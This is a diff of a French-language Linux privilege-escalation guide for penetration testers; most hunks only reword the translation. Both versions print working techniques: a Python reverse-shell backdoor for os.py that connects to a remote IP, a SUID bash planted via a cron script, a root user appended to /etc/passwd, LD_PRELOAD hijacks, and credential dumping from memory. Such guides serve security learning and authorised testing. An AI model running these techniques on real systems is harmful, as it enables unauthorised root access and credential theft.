Pour un ID de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem **expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et extraire toutes les régions lisibles** dans un fichier.
|
||||
Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et vider toutes les régions lisibles** dans un fichier.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -291,14 +291,14 @@ strings *.dump | grep -i password
|
||||
|
||||
L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement.
|
||||
|
||||
| Fonctionnalité | Nom du processus |
|
||||
| ------------------------------------------------- | --------------------- |
|
||||
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Connexions FTP actives) | vsftpd |
|
||||
| Apache2 (Sessions HTTP Basic Auth actives) | apache2 |
|
||||
| OpenSSH (Sessions SSH actives - Utilisation de Sudo)| sshd: |
|
||||
| Fonctionnalité | Nom du Processus |
|
||||
| --------------------------------------------------- | --------------------- |
|
||||
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Connexions FTP Actives) | vsftpd |
|
||||
| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 |
|
||||
| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -351,13 +351,13 @@ wildcards-spare-tricks.md
|
||||
|
||||
### Écrasement de script Cron et symlink
|
||||
|
||||
Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement :
|
||||
Si vous **pouvez modifier un script Cron** exécuté par root, vous pouvez obtenir un shell très facilement :
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
|
||||
Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
@ -381,7 +381,7 @@ Il est possible de créer un cronjob **en mettant un retour chariot après un co
|
||||
|
||||
### Fichiers _.service_ modifiables
|
||||
|
||||
Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine redémarre).\
|
||||
Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (peut-être devrez-vous attendre que la machine redémarre).\
|
||||
Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Binaires de service modifiables
|
||||
@ -400,7 +400,7 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH de systemd dans lequel vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`).
|
||||
Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** dans le dossier PATH de systemd où vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`).
|
||||
|
||||
**En savoir plus sur les services avec `man systemd.service`.**
|
||||
|
||||
@ -418,7 +418,7 @@ Si vous pouvez modifier un timer, vous pouvez le faire exécuter certains exista
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Dans la documentation, vous pouvez lire ce qu'est l'unité :
|
||||
Dans la documentation, vous pouvez lire ce qu'est l'Unité :
|
||||
|
||||
> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité de minuteur soient nommés de manière identique, sauf pour le suffixe.
|
||||
|
||||
@ -429,7 +429,7 @@ Par conséquent, pour abuser de cette permission, vous devez :
|
||||
|
||||
**En savoir plus sur les minuteurs avec `man systemd.timer`.**
|
||||
|
||||
### **Activation du minuteur**
|
||||
### **Activation du Minuteur**
|
||||
|
||||
Pour activer un minuteur, vous avez besoin de privilèges root et d'exécuter :
|
||||
```bash
|
||||
@ -440,13 +440,13 @@ Notez que le **timer** est **activé** en créant un lien symbolique vers celui-
|
||||
|
||||
## Sockets
|
||||
|
||||
Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateur et sont configurés via des fichiers `.socket`.
|
||||
Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`.
|
||||
|
||||
Les sockets peuvent être configurés à l'aide de fichiers `.socket`.
|
||||
|
||||
**En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés :
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.)
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.)
|
||||
- `Accept` : Prend un argument booléen. Si **vrai**, une **instance de service est créée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **faux**, tous les sockets d'écoute eux-mêmes sont **passés à l'unité de service démarrée**, et une seule unité de service est créée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut, c'est faux**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement d'une manière qui convient à `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **créés** et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi d'arguments pour le processus.
|
||||
- `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement.
|
||||
@ -474,7 +474,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
|
||||
#apt-get install socat
|
||||
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
|
||||
```
|
||||
**Exploitation example :**
|
||||
**Exploitation example:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -564,9 +564,9 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir efficacement et de partager des données. Conçu avec le système Linux moderne à l'esprit, il offre un cadre robuste pour différentes formes de communication entre applications.
|
||||
D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir efficacement et de partager des données. Conçu avec le système Linux moderne à l'esprit, il offre un cadre robuste pour différentes formes de communication entre applications.
|
||||
|
||||
Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de service et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes.
|
||||
Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de service et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes.
|
||||
|
||||
D-Bus fonctionne sur un **modèle d'autorisation/refus**, gérant les permissions de message (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges par l'exploitation de ces permissions.
|
||||
|
||||
@ -692,7 +692,7 @@ Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous con
|
||||
### Su Brute
|
||||
|
||||
Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer le mot de passe des utilisateurs.
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les mots de passe des utilisateurs.
|
||||
|
||||
## Abus de PATH écrivable
|
||||
|
||||
@ -818,7 +818,7 @@ Enfin, **escalader les privilèges** en exécutant
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Une privesc similaire peut être abusée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
|
||||
> Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -838,7 +838,7 @@ cd /tmp
|
||||
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
|
||||
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```
|
||||
### SUID Binaire – injection .so
|
||||
### Binaire SUID – injection .so
|
||||
|
||||
Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante :
|
||||
```bash
|
||||
@ -896,7 +896,7 @@ cela signifie que la bibliothèque que vous avez générée doit avoir une fonct
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) est une liste soigneusement sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande.
|
||||
[**GTFOBins**](https://gtfobins.github.io) est une liste sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande.
|
||||
|
||||
Le projet collecte des fonctions légitimes de binaires Unix qui peuvent être abusées pour sortir de shells restreints, élever ou maintenir des privilèges élevés, transférer des fichiers, créer des shells bind et reverse, et faciliter d'autres tâches post-exploitation.
|
||||
|
||||
@ -928,7 +928,7 @@ Conditions pour élever les privilèges :
|
||||
- Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_"
|
||||
- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose dans les **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser `sudo` sans introduire de mot de passe)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` est 0
|
||||
- `gdb` est accessible (vous devez pouvoir le télécharger)
|
||||
- `gdb` est accessible (vous pouvez être en mesure de le télécharger)
|
||||
|
||||
(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou le modifier de manière permanente en modifiant `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
@ -952,7 +952,7 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
Si vous avez des **permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un token sudo pour un utilisateur et un PID**.\
|
||||
Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un token sudo pour un utilisateur et un PID**.\
|
||||
Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant :
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
@ -985,7 +985,7 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
|
||||
Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
|
||||
|
||||
Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
@ -1012,10 +1012,9 @@ Le fichier `/etc/ld.so.conf` indique **d'où proviennent les fichiers de configu
|
||||
|
||||
Cela signifie que les fichiers de configuration de `/etc/ld.so.conf.d/*.conf` seront lus. Ces fichiers de configuration **pointent vers d'autres dossiers** où **les bibliothèques** vont être **recherchées**. Par exemple, le contenu de `/etc/ld.so.conf.d/libc.conf` est `/usr/local/lib`. **Cela signifie que le système recherchera des bibliothèques à l'intérieur de `/usr/local/lib`**.
|
||||
|
||||
Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il pourrait être en mesure d'escalader les privilèges.\
|
||||
Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il peut être en mesure d'escalader les privilèges.\
|
||||
Jetez un œil à **comment exploiter cette mauvaise configuration** sur la page suivante :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ld.so.conf-example.md
|
||||
{{#endref}}
|
||||
@ -1069,7 +1068,7 @@ Le bit **"lire"** implique que l'utilisateur peut **lister** les **fichiers**, e
|
||||
|
||||
## ACLs
|
||||
|
||||
Les listes de contrôle d'accès (ACLs) représentent la couche secondaire de permissions discrétionnaires, capables de **remplacer les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle sur l'accès aux fichiers ou aux répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Les listes de contrôle d'accès (ACLs) représentent la couche secondaire de permissions discrétionnaires, capables de **remplacer les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle sur l'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Donner** à l'utilisateur "kali" des permissions de lecture et d'écriture sur un fichier :
|
||||
```bash
|
||||
@ -1085,11 +1084,11 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
## Ouvrir des sessions shell
|
||||
|
||||
Dans les **anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\
|
||||
Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
|
||||
Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
|
||||
|
||||
### Détournement de sessions d'écran
|
||||
### Détournement de sessions screen
|
||||
|
||||
**Lister les sessions d'écran**
|
||||
**Lister les sessions screen**
|
||||
```bash
|
||||
screen -ls
|
||||
screen -ls <username>/ # Show another user' screen sessions
|
||||
@ -1131,7 +1130,7 @@ Vérifiez **Valentine box from HTB** pour un exemple.
|
||||
### Debian OpenSSL PRNG prévisible - CVE-2008-0166
|
||||
|
||||
Tous les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc.) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\
|
||||
Ce bug est causé lors de la création d'une nouvelle clé ssh dans ces OS, car **seulement 32 768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **en ayant la clé publique ssh, vous pouvez rechercher la clé privée correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Ce bug est causé lors de la création d'une nouvelle clé ssh dans ces OS, car **seules 32 768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **en ayant la clé publique ssh, vous pouvez rechercher la clé privée correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### Valeurs de configuration SSH intéressantes
|
||||
|
||||
@ -1165,12 +1164,12 @@ Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci :
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Remarque que si `Host` est `*`, chaque fois que l'utilisateur passe à une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité).
|
||||
Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une machine différente, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité).
|
||||
|
||||
Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\
|
||||
Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autoriser).
|
||||
|
||||
Si vous constatez que le transfert d'agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever vos privilèges** :
|
||||
Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour escalader les privilèges** :
|
||||
|
||||
{{#ref}}
|
||||
ssh-forward-agent-exploitation.md
|
||||
@ -1180,11 +1179,11 @@ ssh-forward-agent-exploitation.md
|
||||
|
||||
### Fichiers de profils
|
||||
|
||||
Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever vos privilèges**.
|
||||
Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez escalader les privilèges**.
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
Si un script de profil étrange est trouvé, vous devez vérifier s'il contient des **détails sensibles**.
|
||||
Si un script de profil étrange est trouvé, vous devez le vérifier pour **des détails sensibles**.
|
||||
|
||||
### Fichiers Passwd/Shadow
|
||||
|
||||
@ -1195,7 +1194,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
Dans certaines occasions, vous pouvez trouver des **hashes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent).
|
||||
Dans certaines occasions, vous pouvez trouver des **hashes de mots de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent)
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
@ -1211,7 +1210,7 @@ Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré.
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
Par exemple : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker`
|
||||
|
||||
@ -1221,14 +1220,14 @@ AVERTISSEMENT : vous pourriez dégrader la sécurité actuelle de la machine.
|
||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||||
su - dummy
|
||||
```
|
||||
NOTE: Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus, `/etc/shadow` est renommé en `/etc/spwd.db`.
|
||||
NOTE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus, `/etc/shadow` est renommé en `/etc/spwd.db`.
|
||||
|
||||
Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes :
|
||||
Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat à l'intérieur de /etc/systemd/,** alors vous pouvez modifier les lignes :
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
@ -1317,18 +1316,18 @@ Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/inde
|
||||
~/.zlogin #zsh shell
|
||||
~/.zshrc #zsh shell
|
||||
```
|
||||
### Generic Creds Search/Regex
|
||||
### Recherche de crédentiels génériques/Regex
|
||||
|
||||
Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et aussi vérifier les IP et les emails dans les logs, ou les regexps de hachages.\
|
||||
Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et également vérifier les IP et les emails dans les journaux, ou les regexps de hachages.\
|
||||
Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue.
|
||||
|
||||
## Writable files
|
||||
## Fichiers modifiables
|
||||
|
||||
### Python library hijacking
|
||||
### Détournement de bibliothèque Python
|
||||
|
||||
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer un backdoor (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
|
||||
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer un backdoor (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
|
||||
|
||||
Pour **backdoor la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
|
||||
Pour **insérer un backdoor dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
@ -1343,7 +1342,7 @@ Des informations plus détaillées sur la vulnérabilité peuvent être trouvée
|
||||
|
||||
Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever les privilèges en substituant les journaux par des liens symboliques.
|
||||
Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever vos privilèges en substituant les journaux par des liens symboliques.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
@ -1363,9 +1362,9 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd et rc.d**
|
||||
|
||||
